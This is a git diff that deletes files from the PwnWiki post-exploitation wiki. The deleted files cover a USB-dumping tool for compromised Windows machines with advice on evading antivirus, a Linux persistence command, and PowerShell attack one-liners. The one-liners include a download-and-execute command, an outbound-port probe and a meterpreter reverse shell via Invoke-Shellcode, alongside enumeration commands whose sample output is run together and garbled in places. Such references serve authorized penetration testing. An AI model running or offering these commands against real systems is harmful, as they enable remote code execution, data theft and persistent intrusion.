diff --git a/bins/windows.md b/bins/windows.md deleted file mode 100644 index 964b81a..0000000 --- a/bins/windows.md +++ /dev/null @@ -1,7 +0,0 @@ -# Useful Windows Binaries - -Useful Windows binary tools that can be used for post exploitation. - -| Tool | Description / Importance | Contributer | -| ----------- | ------------------------ | ----------- | -| usbdump.exe | Once executed, usbdump will run in the background and will dump the contents of all connected usb devices to a randomly numbered folder within the same directory as the usbdump.exe program. Useful for grabbing the contents of any usb devices later connected to a compromized machine. May have to modify it to bypass AV as its signature is in quite a few AV's. | Ian | diff --git a/index.md~ b/index.md~ deleted file mode 100644 index 4163770..0000000 --- a/index.md~ +++ /dev/null @@ -1,40 +0,0 @@ - - -[Image Generated Here](http://www.addletters.com/pictures/restaurant-sign-generator/4772466.htm#.UplRZ42PuuY) - -### PwnWiki.io is a collection TTPs (tools, tactics, and procedures) for what to do after access has been gained. - -- - - - - - - -### Live Online Copy: - -You can find a copy of the project online at: http://pwnwiki.io - -### Offline Use: - - 1. Clone the repository or pull the archive ([download zip](https://github.com/pwnwiki/pwnwiki.github.io/archive/master.zip)) of the repo - 2. Open index.html - 3. Most modern browsers don't allow the access of local files from a locally loaded HTML file. On Windows you can use [Mongoose Tiny](http://cesanta.com/downloads.html) or [HFS](http://www.rejetto.com/hfs/) to host the files locally. On OSX and Linux `python -m SimpleHTTPServer` seems to work just fine. - -#### Referenced tools can be found here: https://github.com/mubix/post-exploitation (If they aren't built into the OS) - -- - - - - - -#### Submitting Content -We want/need your help! Please contribute to this project is via GitHub (https://github.com/pwnwiki/pwnwiki.github.io). That allows us to get your project-ready content incorporated into the wiki fast. - -We realize that not everyone can/wants to submit content via GitHub and that's cool. If your go-to content is not up here and you don't want to spend the time becoming a Git Jedi, just visit our [Google Form](https://docs.google.com/forms/d/1N7-jRjnUXoz-UwB2h0du2IrskFJW6hBGs4YsTwvEncE/viewform). Due to the large amount of submissions and content, there may be a delay between your posting and us getting your content into the project. Thanks for your submissions and your patience! - -- - - - - - -Curators: - - * [@mubix](https://twitter.com/mubix) - * [@WebBreacher](https://twitter.com/webbreacher) - * [@tekwizz123](https://twitter.com/tekwizz123) - * [@jakx_](https://twitter.com/jakx_) - * [@TheColonial](https://twitter.com/TheColonial) - * [@Wireghoul](https://twitter.com/Wireghoul) - - -If you would like to become a curator, please contact [mubix@hak5.org](mailto:mubix@hak5.org) - -[gimmick:ForkMeOnGitHub ({ color: 'red', position: 'right' })](http://www.github.com/pwnwiki/pwnwiki.github.io/) diff --git a/persistence/linux/general.md~ b/persistence/linux/general.md~ deleted file mode 100644 index e24603f..0000000 --- a/persistence/linux/general.md~ +++ /dev/null @@ -1,21 +0,0 @@ - - - -# Linux General Persistence Commands - -Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the bash prompt. - -###Run command as a daemon -*Note this doesn't work with anything from apache* -```bash -setsid *command* -``` - diff --git a/scripting/powershell.md~ b/scripting/powershell.md~ deleted file mode 100644 index 9461b51..0000000 --- a/scripting/powershell.md~ +++ /dev/null @@ -1,121 +0,0 @@ - - - -# Windows Powershell Commands and Scripts for Post Exploitation - -# One liners - -**Download and Execute Remote Powershell Script** - -``` -iex (New-Object Net.WebClient).DownloadString("http://host/file.txt") -``` - -**Download and Save File** - -``` -(new-object System.Net.WebClient).Downloadfile('http://host/file.exe', 'file.exe') -``` - -**Enumerate Allowed Outbound Ports 1-1024 via [securitypadawan.blogspot.com](http://securitypadawan.blogspot.com/2013/04/quickly-determine-allowed-outbound-ports.html)** - -``` -$ErrorActionPreference = "silentlycontinue"; 1..1024 | % {$req = [System.Net.WebRequest]::Create("http://letmeoutofyour.net:$_"); $req.Timeout = 600; $resp = $req.GetResponse(); $respstream = $resp.GetResponseStream(); -$stream = new-object System.IO.StreamReader $respstream; $out = $stream.ReadToEnd(); if ($out.trim() -eq "w00tw00t"){echo "$_ Allowed out"}} -``` - -**Reverse Shell Using [PowerSploit's Invoke-Shellcode](https://github.com/mattifestation/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)** - -``` -Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.10 -Lport 443 -Force -``` - ----- - -# Commands with Sample Output -## Hardware -### Get BIOS Information - * **Command with arguments**: `gwmi win32_bios` - * **Description**: Retrieves BIOS information including system serial number. - * **Output**: - *
PS C:\Users\johndoe> gwmi win32_bios
SMBIOSBIOSVersion : 6.00
Manufacturer : Phoenix Technologies LTD
Name : PhoenixBIOS 4.0 Release 6.0
SerialNumber : VMware-56 4d 9b 0f 26 ba 8c f9-6e 7a 1e 33 5d 3c f0 dc
Version : INTEL - 6040000PS C:\Users\johndoe> [System.IO.DriveInfo]::GetDrives()
Name : C:\
DriveType : Fixed
DriveFormat : NTFS
IsReady : True
AvailableFreeSpace : 55568087552
TotalFreeSpace : 55568087552
TotalSize : 159876850304
RootDirectory : C:\
VolumeLabel :
Name : D:\
DriveType : CDRom
DriveFormat :
IsReady : False
AvailableFreeSpace :
TotalFreeSpace :
TotalSize :
RootDirectory : D:\
VolumeLabel :
Name : G:\
DriveType : Removable
DriveFormat :
IsReady : False
AvailableFreeSpace :
TotalFreeSpace :
TotalSize :
RootDirectory : G:\
VolumeLabel :
Name : V:\
DriveType : Network
DriveFormat : NTFS
IsReady : True
AvailableFreeSpace : 259182640616
TotalFreeSpace : 259182640616
TotalSize : 827361812256
RootDirectory : V:\
VolumeLabel : TestMappedDrivePS C:\Users\johndoe> gwmi win32\_userprofile | select -unique @{name="Name";expression={$\_.\_\_server}},@{name="SID";expressi
on={$\_.sid}},@{name="LastUseTime";expression={$\_.converttodatetime($\_.lastusetime)}},localpath | ft -auto
Name SID LastUseTime localpath
---- --- ----------- ---------
WIN-244VDGE5OGH S-1-5-21-1319606305-3131390644-2280705280-1000 4/13/2012 7:52:02 PM C:\Users\johndoe
WIN-244VDGE5OGH S-1-5-20 C:\Windows\ServiceProfiles\Netwo...
WIN-244VDGE5OGH S-1-5-19 C:\Windows\ServiceProfiles\Local...
WIN-244VDGE5OGH S-1-5-18 C:\Windows\system32\config\syste...PS C:\Users\johndoe> ((New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-1319606305-3131390644-2280705280-
1000")).translate([System.Security.Principal.NTAccount])).value
WIN-244VDGE5OGH\johndoedistinguishedName : CN=Administrator,CN=Users,DC=pwnt,DC=com
name : Administrator
objectClass : user
objectGUID : 1fd60ff8-07a4-4c6e-9a1e-7cd0d7bb97db
SamAccountName : Administrator
SID : S-1-5-21-2027135834-1792351174-2509185371-500name
----
PWNT-DC
-Exchange1
-SharePoint1
- Name : C:\
- DriveType : Fixed
- DriveFormat : NTFS
- IsReady : True
- AvailableFreeSpace : 111111111111
- TotalFreeSpace : 111111111111
- TotalSize : 111111111111
- RootDirectory : C:\
- VolumeLabel : HP
-
- Name : D:\
- DriveType : Fixed
- DriveFormat : NTFS
- IsReady : True
- AvailableFreeSpace : 111111111111
- TotalFreeSpace : 111111111111
- TotalSize : 111111111111
- RootDirectory : D:\
- VolumeLabel : DATA
-
- Name : E:\
- DriveType : CDRom
- DriveFormat :
- IsReady : False
- AvailableFreeSpace :
- TotalFreeSpace :
- TotalSize :
- RootDirectory : E:\
- VolumeLabel :
-